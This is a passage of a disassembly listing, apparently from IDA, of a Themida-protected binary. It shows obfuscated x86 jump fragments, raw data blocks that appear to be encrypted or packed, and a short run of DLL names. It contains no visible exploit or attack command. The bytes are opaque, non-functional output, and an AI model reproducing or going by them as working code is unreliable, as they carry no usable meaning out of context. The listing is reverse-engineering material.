		dd 4870000h, 148B5C24h,	4C48324h, 0F5895552h, 29E9EA89h
		dd 81FFFF2Fh, 4ECh, 242C8900h, 0B850E589h, 196A5EAAh, 663AE25h
		dd 2DD0F743h, 0FEFDBD51h, 19BAED81h, 0C50160A3h, 19BAC581h
		dd 48B60A3h, 0C005E924h, 815CFFFFh, 4C2h, 0E0895000h, 405h
		dd 42D00h, 4870000h, 117AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A392:				; CODE XREF: Themida_:0063EBE3j
		push	esi
		mov	esi, 4AFC748Ah
		shr	esi, 7
		jmp	loc_63D781
; ---------------------------------------------------------------------------
		dd 8059EB00h, 0C328AEEBh, 80AEC380h, 0F1E9C0EBh, 81FFFF0Ch
		dd 9E5F8CF1h, 8BC80140h, 0C483240Ch, 20504h, 0E6E90000h
		dd 0C1FFFF26h, 0F28105EAh, 52B33C51h, 0FFA72EE9h, 0C48359FFh
		dd 0F8885804h, 88D8F65Bh, 2434FFC1h, 0E6895658h, 8904EC83h
		dd 4BB241Ch, 0E9000000h, 0FFFF4C17h
; ---------------------------------------------------------------------------


loc_64A3FC:				; CODE XREF: Themida_:0063C714j
		xor	esi, 5F7B31A3h
		jmp	loc_63A6F7
; ---------------------------------------------------------------------------


loc_64A407:				; CODE XREF: Themida_:00647B09j
		add	ecx, 4
		jmp	loc_645CB2
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0C895C24h, 33E95324h, 81FFFFF5h, 4C5h, 242C8700h, 0FED6F65Ch
		dd 3DB551C6h, 0C8BEE00h, 4C48124h, 0
		dd 24148BF3h, 4C481h, 26E90000h, 0FFFFFED5h, 669D1C77h
		dd 4116658h, 4AE99C24h,	88FFFEB1h, 0C8B870Ch, 4C48124h
		dd 0E9000000h, 0FFFED037h, 0BF57E689h, 4, 0BE9FE01h, 83FFFF92h
		dd 65E904C4h, 8FFFFEF9h, 248B2404h, 240C8924h, 0D9BEE954h
		dd 0F781FFFFh, 5DF36D16h, 81FFEF83h, 0A0D382C7h, 0ECCBE9F3h
		dd 434FFFFh, 5866C100h,	0E93FB450h, 0FFFEEC1Ah,	4C481h
		dd 0E9520000h, 0FFFEFCBEh
; ---------------------------------------------------------------------------


loc_64A4C0:				; CODE XREF: Themida_:00641DD1j
		push	5B0609Eh
		pop	edx
		add	edx, 838518A6h
		mov	ecx, edx
		pop	edx
		jmp	loc_6355E8
; ---------------------------------------------------------------------------
		dd 240C875Ch, 4FF665Ch,	0C2E99C24h, 0BAFFFEB0h,	79955253h
		dd 0FF6B8FE9h, 8B3A04FFh, 54512414h, 0D271E959h, 0F901FFFEh
		dd 4438C181h, 505F1A11h, 0DB0367B8h, 3633550h, 0C10150DBh
		dd 0FF01A7E9h, 14F750FFh, 0D0F75824h, 0FEDA69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A521:				; CODE XREF: Themida_:006418D1j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_642D6A
; ---------------------------------------------------------------------------


loc_64A532:				; CODE XREF: Themida_:0063E921j
		push	ebp
		mov	ebp, 0FC751E99h
		add	ebx, ebp
		pop	ebp
		xor	edi, ebx
		pop	ebx
		add	ebx, 18A36A48h
		add	ebx, 5F5841C3h
		add	ebx, edi
		sub	ebx, 5F5841C3h
		jmp	loc_636889
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5E3C1DBh, 757AB951h,	0D9F74EC6h, 25EC181h, 0CB3119E5h
		dd 8BD80159h, 0C481241Ch, 4, 5FD7BE56h,	0EEC11772h, 29685603h
		dd 89000009h, 348B242Ch, 4C48124h, 8B000000h, 8957242Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 0ED815C24h, 0FFFFFFFFh
		dd 0EED1EE87h, 5624BB53h, 0DE315DBCh, 0B0CFE95Bh, 7CBEFFFFh
		dd 0E9407A07h, 0FFFF7B38h
; ---------------------------------------------------------------------------


loc_64A5C8:				; CODE XREF: Themida_:00646E67j
		mov	eax, esp
		jmp	loc_63847F
; ---------------------------------------------------------------------------
		db 89h
		dd 0A1BF243Ch, 531BBE57h, 0E81622BBh, 0CC3811Eh, 4347283Bh
		dd 7EEFE381h, 0D3F724DDh, 0EB81D3F7h, 0E9E0F6E7h, 0C15BDF29h
		dd 0DFF708E7h, 7E86E781h, 0E94737CEh, 0FFFF692Eh, 5104C183h
		dd 42474FFh, 0A8DDE959h, 5966FFFFh, 8904EC83h, 10E9241Ch
		dd 51FFFF3Bh, 9FE91AB5h, 0E9FFFED1h, 0FFFEAF75h, 348BF389h
		dd 4EC8124h, 89000000h,	5954240Ch, 0FF16CEE9h, 58E330FFh
		dd 806AE380h, 0DC282DF3h, 0FFAC07E9h, 241CF7FFh, 0AF47E99Ch
		dd 815EFFFEh, 0D64C21F2h, 0D6EEE93Fh, 0E95BFFFFh, 0FFFF5293h
; ---------------------------------------------------------------------------


loc_64A670:				; CODE XREF: Themida_:006424E2j
		mov	edx, esp
		push	ebx
		mov	ebx, 641A4F1Bh
		sub	ebx, 7C0C6700h
		jmp	loc_638C33
; ---------------------------------------------------------------------------
		db 52h
		dd 42474FFh, 24048F5Ah,	26C7685Ch, 1C890000h, 0A8685624h
		dd 0FF5B6C58h, 348B2434h, 4C48124h, 83000000h, 0BF5704C4h
		dd 4A6316ECh, 0FF61EEE9h, 0C0E953FFh, 81FFFEF6h, 0F05E3AC6h
		dd 81CE291Fh, 0F05E3AEEh, 0EC81591Fh, 4, 0FED929E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A6D5:				; CODE XREF: Themida_:0063723Dj
		add	eax, ebp
		sub	esp, 4
		jmp	loc_639C15
; ---------------------------------------------------------------------------
		dw 12B8h
		dd 0E979ED36h, 0FFFF9DBEh, 0C681C629h, 19631F09h, 49EA8158h
		dd 11D7579h, 49C281F2h,	5E1D7579h, 0D3BAE952h, 722CFFFEh
		dd 5366D000h, 9FCDE950h, 0C8BFFFFh, 4C48124h, 0E9000000h
		dd 1A0h, 9AE9DD87h, 66FFFF03h, 0E9240C8Bh, 0FFFF26CCh
		dd 0FF8734FFh, 34FF2434h, 2434FF24h, 0E92434FFh, 0FFFF1DA6h
		dd 0F580C5FEh, 0C75CE9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A752:				; CODE XREF: Themida_:0063F4CCj
		xor	eax, 0A3526F64h
		mov	esi, eax
		pop	eax
		push	ecx
		jmp	loc_6391C0
; ---------------------------------------------------------------------------
		dd 2434895Ch, 6F65B951h, 0ACE95122h, 33FFFEC9h,	0E95C241Ch
		dd 0FFFF374Bh
; ---------------------------------------------------------------------------


loc_64A778:				; CODE XREF: Themida_:0063744Dj
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	18D8h
		jmp	loc_6486DF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 66E92414h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A797:				; CODE XREF: Themida_:0063E6AFj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_63DF0C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0BC2815Ch, 0E9620F5Ch
		dd 0FFFF966Fh
; ---------------------------------------------------------------------------


loc_64A7C0:				; CODE XREF: Themida_:00642174j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_639AB5
; ---------------------------------------------------------------------------


loc_64A7E2:				; CODE XREF: Themida_:006383B0j
		sub	ecx, eax
		pop	eax
		add	eax, ecx
		jmp	loc_6436BE
; ---------------------------------------------------------------------------
		dd 4C681h, 0BAE90000h, 0F7FFFEC7h, 2FFE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64A7FE:				; CODE XREF: Themida_:006387D6j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_6425AE
; ---------------------------------------------------------------------------
		dd 0D83745BDh, 8C5816Ch, 4D000F0Ch, 8105EDC1h, 673A16EDh
		dd 0E9E90103h, 0FFFF4554h
; ---------------------------------------------------------------------------


loc_64A828:				; CODE XREF: Themida_:00636CB5j
		mov	ecx, 576E4932h
		push	edi
		push	edx
		mov	edx, 3CB02206h
		add	edx, 15FA5094h
		inc	edx
		sub	edx, 43D238AEh
		jmp	loc_6387B4
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 0E9D8285Bh, 0FFFF021Fh, 0E95DEB29h, 0FFFFC5B5h, 4EC81ACh
		dd 89000000h, 0E389241Ch, 289ABA52h, 0EA8148AFh, 0B8B3E20h
		dd 0F708E2C1h, 5AE281D2h, 81527940h, 110056EAh,	5AD30150h
		dd 8702EB83h, 665C241Ch, 0B3241C89h, 2F2AE9BCh,	2C8BFFFFh
		dd 0E0895024h, 405h, 4BD5500h, 1000000h, 0C4E95DE8h, 83FFFF6Dh
		dd 0E95102E9h, 0FFFFF1D0h, 6624248Bh, 0E9240489h, 0FFFEF245h
		dd 71B068h, 24148900h, 0C281E289h, 4, 13685256h, 5A370B1Ch
		dd 1C11F281h, 0E952370Bh, 0FFFEE68Eh
; ---------------------------------------------------------------------------


loc_64A8E8:				; CODE XREF: Themida_:0063A041j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_641AFB
; ---------------------------------------------------------------------------
		db 30h,	0C1h, 0E9h
		dd 0FFFF14E0h, 0A5B65266h, 0FEDE6BE9h, 148966FFh, 7C7A6824h
		dd 3C890000h, 0EC686624h, 525F660Bh, 760EBA66h,	75EA8166h
		dd 0E2C16609h, 0E2D16604h, 1C28166h, 0C2816600h, 8166A969h
		dd 66628EF2h, 994EA81h,	0EAC28166h, 28EFE9E3h, 0E950FFFFh
		dd 0FFFF1B31h, 4C181h, 0C1810000h, 4, 5C240C87h, 5CF5B951h
		dd 0CD31568Bh, 0FF7184E9h, 8E3C1FFh, 8106E3C1h,	0A12435EBh
		dd 0D3BF5779h, 31771F05h, 57D6E9FBh, 0BE56FFFFh, 4, 835EF701h
		dd 3C8704C7h, 5E2D5C24h, 53172F1Ah, 0FFE83EE9h,	0C895CFFh
		dd 4B924h, 0CB010000h, 83240C8Bh, 685204C4h, 574Ch, 0FEBA37E9h
		dd 90EE81FFh, 564C0329h, 0FFC16CE9h, 0F6FD88FFh, 0C8F2E9D5h
		dd 6866FFFEh, 89660330h, 0EC832414h, 240C8904h,	8853BAB5h
		dd 5BDE88EBh, 81240C8Bh, 4C4h, 4EC8300h, 0FF88C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64A9F5:				; CODE XREF: Themida_:0063F199j
		pop	esp
		or	eax, eax
		jz	loc_63D0F6
		push	dword ptr [edi+1Ch]
		jmp	loc_64A241
; ---------------------------------------------------------------------------
		dw 8CB0h
		dd 0B558C788h, 8BFD280Fh, 0C483241Ch, 307CB604h, 0C78059EEh
		dd 0E9F72870h, 0FFFFC31Fh
; ---------------------------------------------------------------------------


loc_64AA24:				; CODE XREF: Themida_:0063DE13j
		add	ebx, 4
		jmp	loc_648942
; ---------------------------------------------------------------------------
		db 0FFh
		dd 4DE92434h, 8BFFFEE3h, 8BE92404h, 0C1FFFF64h,	0E98103E1h
		dd 10BA6347h, 1336BB53h, 0E3D1493Dh, 0F703EBC1h, 0DAF381DBh
		dd 1673389h, 0EC835BD9h, 240C8904h, 0D1243481h,	5B52FB10h
		dd 10D1F381h, 315952FBh, 0C7815AD3h, 4C205153h,	0FEE7D7E9h
		dd 48B66FFh, 0E9545624h, 0FFFF345Eh
; ---------------------------------------------------------------------------


loc_64AA8C:				; CODE XREF: Themida_:00639C67j
		pop	eax
		push	4889h
		mov	[esp], eax
		jmp	loc_649889
; ---------------------------------------------------------------------------
		dd offset dword_65F068
		dw 0E900h
		dd 0FFFED0D2h, 0F3F1E305h, 8BC629B0h, 72E92404h, 89FFFF0Ah
		dd 0E1E9243Ch, 50FFFF2Ah, 691276B8h, 24440160h,	2434FF08h
		dd 4C48358h, 4246C81h, 30AD685Fh, 4246C29h, 67C468h, 242C8900h
		dd 0C581E589h, 4, 3304ED83h, 2C31242Ch,	0DF53E924h, 612CFFFEh
		dd 7DB25266h, 5A66D028h, 53241C8Bh, 9E68E389h, 89000025h
		dd 75BD242Ch, 836E8413h, 0BF5701C5h, 30A56116h,	81DFF747h
		dd 207B5ECFh, 81DFF714h, 91373EFh, 5FFD018Fh, 555DEB01h
		dd 4BDh, 43EB8100h, 10D6506h, 43C381EBh, 5D0D6506h, 0E9241C33h
		dd 0FFFFBC5Bh
; ---------------------------------------------------------------------------


loc_64AB50:				; CODE XREF: Themida_:0063F9F1j
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_64A167
; ---------------------------------------------------------------------------


loc_64AB5D:				; CODE XREF: Themida_:00638344j
		pop	edi
		jmp	loc_6482B6
; ---------------------------------------------------------------------------
		db 51h
		dd 0F45227B9h, 6824h, 0C290000h, 0BD555924h, 52610D9Bh
		dd 81D5F74Dh, 0F6B6FAF5h, 5DE92988h, 1061F181h,	0F1810866h
		dd 0FE967D79h, 0F759CE89h, 6BBB53D6h, 0C169DF2Dh, 93E903E3h
		dd 89FFFEABh, 0C4682404h, 0E900005Eh, 0FFFF00C3h, 0EC835E59h
		dd 241C8904h, 0F3F4E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64ABBE:				; CODE XREF: Themida_:00636528j
		and	ecx, 1B7C3309h
		inc	ecx
		push	esi
		jmp	loc_6385C3
; ---------------------------------------------------------------------------
		db 56h
		dd 5D6F0EBEh, 0E9F02956h, 50h
; ---------------------------------------------------------------------------


loc_64ABD8:				; CODE XREF: Themida_:0064420Bj
		mov	ebx, 0
		sub	ebx, 66991AA7h
		jmp	loc_644CF0
; ---------------------------------------------------------------------------
		dd 0E9C3305Ch, 0FFFFF2B1h
; ---------------------------------------------------------------------------


loc_64ABF0:				; CODE XREF: Themida_:0063D68Aj
		add	dword ptr [esp], 5CB6279Dh
		pop	eax
		push	72AFh
		mov	[esp], esi
		jmp	loc_643B5C
; ---------------------------------------------------------------------------


loc_64AC05:				; CODE XREF: Themida_:0063E1E7j
		sub	eax, 0B68134Bh
		sub	eax, 6DCF57A6h
		sub	eax, ebp
		add	eax, 6DCF57A6h
		sub	esp, 4
		jmp	loc_64689D
; ---------------------------------------------------------------------------
		db 5Bh,	50h, 0E9h
		dd 0FFFFA804h, 5E8015Eh, 565D6F0Eh, 0FF34DBE9h,	0FB353FFh
		dd 0EBC0C3FEh, 5EBC003h, 0FF13BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64AC45:				; CODE XREF: Themida_:0063652Ej
		xor	ebp, 5BCBCB49h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_6410E3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 0FFFF7C31h, 0C2E9D2F7h, 66FFFFE1h, 0E92414F7h
		dd 0FFFF33E1h, 4C281h, 14870000h, 89535C24h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2414895Ch, 0C1E9E289h, 0E9FFFF86h
		dd 3Dh,	43D0B01h, 52455355h, 642E3233h,	41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D8006Ch
		dd 10002h, 100019h, 0B002Fh, 2Fh, 0
		dd 0A97E900h, 6F680000h, 0E907DB17h, 0FFFB85AEh, 0DB180468h
		dd 85A4E907h, 5B68FFFBh, 0E907DB19h, 0FFFB859Ah, 0DB1B0E68h
		dd 8590E907h, 7D68FFFBh, 0E907DB1Bh, 0FFFB8586h, 0DB1CE868h
		dd 857CE907h, 8768FFFBh, 0E907DB1Dh, 0FFFB8572h, 4A4463A0h
		dd 0D0BEE51Fh, 4D417EA1h, 0CDC1E222h, 4F3F7CA2h, 0BA5CD9ECh
		dd 22DE8985h, 0A7620D01h, 26DF8A84h, 0FE5C0905h, 7715675Bh
		dd 0BF60B832h, 0C46A49C7h, 0CB76E101h, 0B0FE756Dh, 0D7ED9448h
		dd 73B47140h, 1CBE9249h, 4744BD4Bh, 90C09215h, 480F7A28h
		dd 2C4624EBh, 0B972C1BDh, 0C2B912AEh, 11A941C7h, 0DE3A1892h
		dd 33FEFD26h, 82BAB1F2h, 0E425FA1Fh, 2C02BB01h,	2F1EC9A9h
		dd 7C4F9963h, 3F0D6A95h, 4D892285h, 0CA3FC99h, 9E19D215h
		dd 0CEB7BA19h, 0DA7D6560h, 0BD340838h, 19D1B4FBh, 129DC951h
		dd 0B50ED310h, 3A99D3B6h, 15BF38Ah, 0AEB3E82Eh,	32A116D5h
		dd 9CCB2C10h, 400AF463h, 0F05B0165h, 0E231C9CCh, 0BF764929h
		dd 0E8A9CA4Ah, 6C866C07h, 65D501FDh, 0D9F95201h, 65D5946Eh
		dd 9586E501h, 44679EC9h, 0FCD7A30Dh, 0F1464320h, 8BEh
		dd 3E3077ACh, 0BCB2F133h, 39356AADh, 0B9B5F62Eh, 3B3368AEh
		dd 0AE70E5F8h, 36F27D71h, 0B36EF9F5h, 32F37E70h, 0F270FDF1h
		dd 77147B47h, 0DB64CC32h, 18D91A1Bh, 0FFB787A9h, 391909C4h
		dd 472949AAh, 51E39EA0h, 8784EF3Ah, 38FAC5ABh, 0AF9DF6FBh
		dd 40FCA872h, 29A05B0Bh, 0A1D2994h, 0F2B38979h,	123497CAh
		dd 0F1729FA1h, 0A5DBF5D5h, 0B2D5A169h, 6D55BEB9h, 4A4467A2h
		dd 0A1C1E21Fh, 9F2618BFh, 1C77A193h, 867F125Fh,	0A1FA6C65h
		dd 0B3AEC12Ah, 82954h, 0D71C1700h, 5D9A9827h, 0DA0116A1h
		dd 5A9D9524h, 0DC0315A4h, 5BCE6322h, 0D9E896C5h, 55641A5Dh
		dd 0D8E797D8h, 57681659h, 13D2AC1Bh, 0CD233277h, 0D91A1BF4h
		dd 6B8C8518h, 0D7041BA6h, 6C8F871Ah, 5E7817A5h,	74D28B14h
		dd 666777A0h, 8BD269h, 0A9780000h, 684B4669h, 1A1B10B3h
		dd 439C25D9h, 9CC5DD43h, 0D687B89Eh, 2B43A616h,	0C2BC620Fh
		dd 8371C4A8h, 885E2793h, 7337EE93h, 6B19FAC4h, 0B8FF3575h
		dd 84A762FFh, 22C1227Dh, 6CF616Ch, 7DEC06ECh, 756B1A81h
		dd 78279D2h, 0AC539A67h, 9072D5FBh, 763E829Ah, 456C91D8h
		dd 72E15647h, 0F6E41079h, 60C9AAF4h, 3689D008h,	41218A05h
		dd 7170B36Eh, 2AF55D0Eh, 0A7D2CCEFh, 1D21C86Ah,	6E6D97FEh
		dd 0C4A35E05h, 74Eh, 0D91A1BF7h, 3E87A918h, 8ED7B524h
		dd 321EB7E0h, 2C1383A5h, 84A75F32h, 8069227Dh, 84FF70C1h
		dd 0EB4E3C51h, 47086617h, 8A680B68h, 65FD0168h,	0E54E4708h
		dd 0C8497826h, 42ECF7A7h, 18F85F83h, 5793DFEBh,	2658F091h
		dd 326C785Bh, 21B6E6DDh, 40190B2h, 0F130FFE3h, 23E3AEh
		dd 0B1ED9E01h, 89A793B7h, 2ECC1D81h, 0C6E9243Dh, 3C7FB6CBh
		dd 0CB8A7F05h, 95726FD4h, 6D2h,	6A2443C0h, 0F09EC53Fh
		dd 6D215EC1h, 0EDA1C242h, 6F1F5CC2h, 9A7CF90Ch,	2FEA965h
		dd 87822DE1h, 6FFAA64h,	0DE7C29E5h, 7712877Bh, 9F80D832h
		dd 18D91A1Bh, 876B8C85h, 83928163h, 72298EE8h, 0EFC2A01Fh
		dd 0E123EE35h, 4A8CC9C2h, 6A36FD16h, 648BEB6h, 0C3AF26CAh
		dd 0F6F52AECh, 2F32FB93h, 5EC04F6Ah, 4EF536EFh,	1306DF9Dh
		dd 7031CFE9h, 0FFFE9242h, 1A1B39FFh, 0F126F9D9h, 2FECC7CAh
		dd 0F8DD7362h, 58F16FDAh, 93985980h, 284576C4h,	7B06C7B5h
		dd 7FECE11Eh, 0AB2A048Fh, 0F738F8C7h, 0B9AB0E04h, 589E474Fh
		dd 365FAC8h, 0D49CB71Ah, 6E614BAh, 5FFA554Ah, 7774FBh
		dd 0B1BA2A12h, 3268E14Ah, 0CD53E39h, 492451A9h,	213ABCF0h
		dd 269B2A18h, 84979453h, 0F12EF07Bh, 82A55DF0h,	2CAAE97Fh
		dd 8ACC8942h, 0E4747586h, 1F5D0B9h, 0C7B30000h,	1C46A49h
		dd 0BFC076E1h, 6D440B2Bh, 0B662E9B7h, 0A4B78BECh, 0AA61423Fh
		dd 9478AF3Fh, 24A346C9h, 6B606DB1h, 0EA135B7Fh,	2FE71E05h
		dd 0FD03B3Ch, 9FBA06AAh, 74B6960Ch, 4F3396D8h, 0A057FBEBh
		dd 0B9B50933h, 0B3941506h, 0F29948B2h, 0F383858Fh, 0CDF3CD58h
		dd 6906986Ah, 0DF8AE9D4h, 0D46905E3h, 0B124D734h, 0C39F2608h
		dd 7FDD5514h, 0D9E76219h, 95480F09h, 426900E4h,	0DDA40F84h
		dd 3477AE81h, 2C99522Dh, 389FC302h, 66026DCDh, 48B37122h
		dd 0FB02E57Eh, 1B7F92A9h, 9A254DA6h, 3ADDD19Bh,	1FE205FCh
		dd 0DD1398C4h, 2E71AD84h, 0FBF35033h, 3F72B56Ch, 0F1C9EBCFh
		dd 1F61B6B3h, 0D000005h, 921DD116h, 0C9B5390h, 8F1AD40Bh
		dd 0F9A5497h, 591CD209h, 90CF51C4h, 1457D3DEh, 91D24F5Ah
		dd 1053D2DDh, 0A611515Eh, 327710DCh, 0CCFAC32Dh, 2220E6A0h
		dd 16D527BEh, 1E4481AFh, 74B85ABBh, 959120BAh, 37348F52h
		dd 22C99F52h, 980DB00Dh, 1B9C3DC6h, 841B3794h, 9B86689h
		dd 9B26EB0Ch, 0F068599Ah, 0E051CD35h, 4B04221h,	659E0000h
		dd 0E321503Eh, 789FCAC4h, 0E41C4B43h, 7A9CCBC3h, 0D7EA4945h
		dd 8F7FBC62h, 0B0324E0h, 907EA15Ch, 0FFF20E1h, 6955045Eh
		dd 0BA327710h, 0F5CCCD56h, 6100FB3Ch, 0EF827FA0h, 6FECF536h
		dd 380AAD93h, 893A522Bh, 589B972Ah, 0F074D2A3h,	3C977FAh
		dd 0E6ADEF85h, 114B6FE2h, 55EA303h, 6A910D2Fh, 0A722E6A3h
		dd 0FE25A8F4h, 0A0563A0Eh, 605A7BCh, 0C728E90Ah, 0E83EA3A5h
		dd 52706933h, 6B2043BFh, 77270E2Eh, 0FC5967D6h,	1B5CFFFFh
		dd 0A918D91Ah, 3E243E87h, 7774B773h, 0C7EA8F12h, 200D34FFh
		dd 4D73888Bh, 2DB618EAh, 110A6961h, 0AD2241A4h,	2EA99225h
		dd 0C04FC9C5h, 80631E41h, 332E71B1h, 0C7089B50h, 0ACB6542h
		dd 3BF781E8h, 2866FC30h, 7FC6D748h, 11576753h, 9109F3E1h
		dd 0A1B7D86Dh, 0DA9132FAh, 2694F2EFh, 0C5A585A2h, 0F9914473h
		dd 0D6E19ACCh, 0CC7B557Dh, 0B1FB26F2h, 5C33E843h, 34839375h
		dd 5ED46B61h, 71676219h, 0DB73B867h, 9FE1E8F8h,	260875FBh
		dd 5414C39Fh, 638AA522h, 0E27D2FD1h, 0CB77A003h, 7F34EABCh
		dd 0C9F14D14h, 2F973E0Dh, 3AAB6087h, 2691B114h,	0B146A26Fh
		dd 0A81B81ACh, 0E22F9226h, 334D7E83h, 5C330F7Ch, 5406FBA5h
		dd 9150FE90h, 0F42D3C32h, 6DE47EB3h, 908EAEEh, 3452Ah
		dd 0B3F03300h, 3176ACBBh, 0AEED323Dh, 2E71B1C0h, 0B0EF3140h
		dd 0EF6A7FBEh, 6DFCF229h, 0F1806EB1h, 6CFBF334h, 0EB7C72B5h
		dd 0EF6C86Fh, 0F1473277h, 4A0CC50h, 0E3E60097h,	0DD737229h
		dd 0DAF8DAF8h, 51E9936Fh, 9487E43Ah, 5EBBEB15h,	46BC537Ch
		dd 0DE7F6A21h, 141B75E1h, 9D649B7Dh, 0DB4E4942h, 3276D2EFh
		dd 68A47BF5h, 0FA374A47h, 7CD7B8B9h, 0B79BF87Fh, 5DD82DE8h
		dd 0D77C571Ah, 0D99D9827h, 0B1C2946Eh, 0E5D98077h, 3677B1C1h
		dd 52F15ADDh, 0E003028Fh, 48C43BF1h, 0C99E5B97h, 2A6h
		dd 0A6589F94h, 24DA191Bh, 0A15D8295h, 21DD1E16h, 0A35B8096h
		dd 46D84DE0h, 0DE5A6519h, 5BD6E19Dh, 0DA5B6618h, 9AD8E599h
		dd 770E532Fh, 734CA432h, 8EB4113Fh, 0B87CD72Bh,	0B6A73A62h
		dd 0F5D534B6h, 45C3D921h, 209586C4h, 98A3BBBDh,	128136FCh
		dd 7FA06130h, 5FA9918Fh, 8AC0ED09h, 88A71EDDh, 32211DCCh
		dd 1972E1A9h, 32B48E39h, 0A605E1A9h, 9BC2254Dh,	48D8B326h
		dd 1F231D80h, 335544BDh, 20B5E1A9h, 6B18FB3h, 8A8D8F3Ch
		dd 5F0AA522h, 0E156CB35h, 0A5B87972h, 51454C73h, 0F3368AEh
		dd 7BBC8631h, 9E0D8A8Dh
		dd 52AB1EDh, 3D39A0C2h,	0B03ECD68h, 3E49D7FDh, 7BA479F0h
		dd 77C8A8Dh, 59D8E5ACh,	17103C16h, 0EFDFF122h, 403AF7F4h
		dd 233F60A1h, 0C7A89A3Dh, 9AF95214h, 0ECC39DE1h, 6AF7F42Bh
		dd 0A08988ABh, 5C331F2Ah, 94D74FA6h, 9051F2CDh,	0DFF93C2Fh
		dd 6181A263h, 5C0F54CEh, 5D9E9722h, 0E8170994h,	5D829429h
		dd 0EB0C0994h, 0A3257026h, 0AA75F7C9h, 6649486Bh, 8B66E0B5h
		dd 0F45AE55Fh, 6D5F738h, 4D7427F7h, 0CCDB93D4h,	0ED4C154Ah
		dd 0ED6B2AD7h, 0DE90CF51h, 530E4DD3h, 0B81FC33Eh, 5214C2C6h
		dd 5A17BC17h, 2511373Eh, 58D2CCF3h, 6B2649C9h, 37EE9388h
		dd 1688EDF4h, 0B913C275h, 0BD8DD3ECh, 19D703EFh, 0FF910365h
		dd 0BBC8C1BAh, 0A0B9E7C7h, 16DB1C15h, 0A56C8F8Bh, 4620A6EDh
		dd 99A52372h, 45E92598h, 99A2A0A2h, 0E182F10Ch,	0A26C5601h
		dd 4EBD0C99h, 0B76EF9F5h, 0FE916D74h, 0C122DF04h, 0A24C36A1h
		dd 2E9D0C99h, 0CDF2243Dh, 3778B9C4h, 0C6ED273Ah, 60E6ADCBh
		dd 0B117FE06h, 0B36B8C85h, 27EA0D04h, 0D3590BEh, 0E9A85B2Dh
		dd 0A26F295Eh, 5F404162h, 0C423C6ACh, 0DDFFCF87h, 8D33A679h
		dd 0D2AC1B35h, 23A5937Dh, 0E6C4D3C8h, 0D899DA5Bh, 298504F7h
		dd 0B8066887h, 0FFE698F3h, 82CED51h, 76E5F3BAh,	78DB78BBh
		dd 0F288EF5Ah, 0D80149C8h, 917FDC66h, 0D2EEAB5h, 37F89B0Eh
		dd 0A9C54285h, 9F1E20C7h, 46FBC92h, 5E239007h, 0DD91D253h
		dd 321053D2h, 0C479780Ah, 9C3EC50Ah, 920D2F7Dh,	21702B93h
		dd 7DE354B4h, 6438A355h, 421C9959h, 7170B36Fh, 536C5D0Eh
		dd 40CED76Dh, 4BF75138h, 0A7C9A9CAh, 178D3E40h,	67248F8Dh
		dd 66898837h, 0DD1E16ABh, 0D7F18014h, 0C057AA6Bh, 8988B769h
		dd 0EBC4CD26h, 2AEB9688h, 0F2B0809h, 3F000000h,	6C75B270h
		dd 0CC4B5813h, 0FFFC23F5h, 181B8310h, 8A8B16DBh, 1815A869h
		dd 8B871AD7h, 214A968h,	978914DDh, 1C14A968h, 948B16DBh
		dd 1D17AA67h, 56651BD6h, 0C6815E54h, 4,	8704EE83h, 685C2434h
		dd 108Ah, 68243489h, 3967h, 53243C89h, 734C51BBh, 0CA2ABE4Ch
		dd 0DE01BB67h, 83241C8Bh, 0A96804C4h, 89000049h, 4832424h
		dd 835F0424h, 2C8904ECh, 89F58924h, 8B5D086Fh, 8952243Ch
		dd 4C281E2h, 83000000h,	148704C2h, 34FF5C24h, 0C4815E24h
		dd 4, 0FB7B2DE9h, 0C9A95EFFh, 0C2583E46h, 252A857Fh, 2052B8B2h
		dd 0C50307DBh, 0B51BE0FFh, 73D94199h, 1B3F2181h, 0EB7D1932h
		dd 57C71467h, 0C4EA6D9Eh, 0A2150DE4h, 441C4A73h, 0F023758h
		dd 9966158Bh, 963D50E5h, 0DF0F486Bh, 503798Fh, 0A682D34h
		dd 0E69777F7h, 5EC01E24h, 542D1651h, 73D374D6h,	44960456h
		dd 6A512CEBh, 0FB772FE5h, 0B18F37C2h, 6CEA2E0Fh, 9A2D3BC5h
		dd 0AE86B84h, 0E2000000h, 91C0AFEh, 1B8E6C9h, 3860F02h
		dd 80000000h, 815AB4CCh, 67FAC2h, 19D96800h, 805E0000h
		dd 32FF8BD3h, 8B6659F9h, 0F1C181FAh, 0E91707D0h, 10h, 1767735Fh
		dd 0B63133F8h, 0EA1618E3h, 0AAA83F9Eh, 6B07F181h, 81F91515h
		dd 4EB55BE9h, 0A89FC3Ch, 0EA83C18Bh, 0C7B70F04h, 15850F4Eh
		dd 66000000h, 0E94602BBh, 2Dh, 0B600B4F1h, 0FF18A2ACh
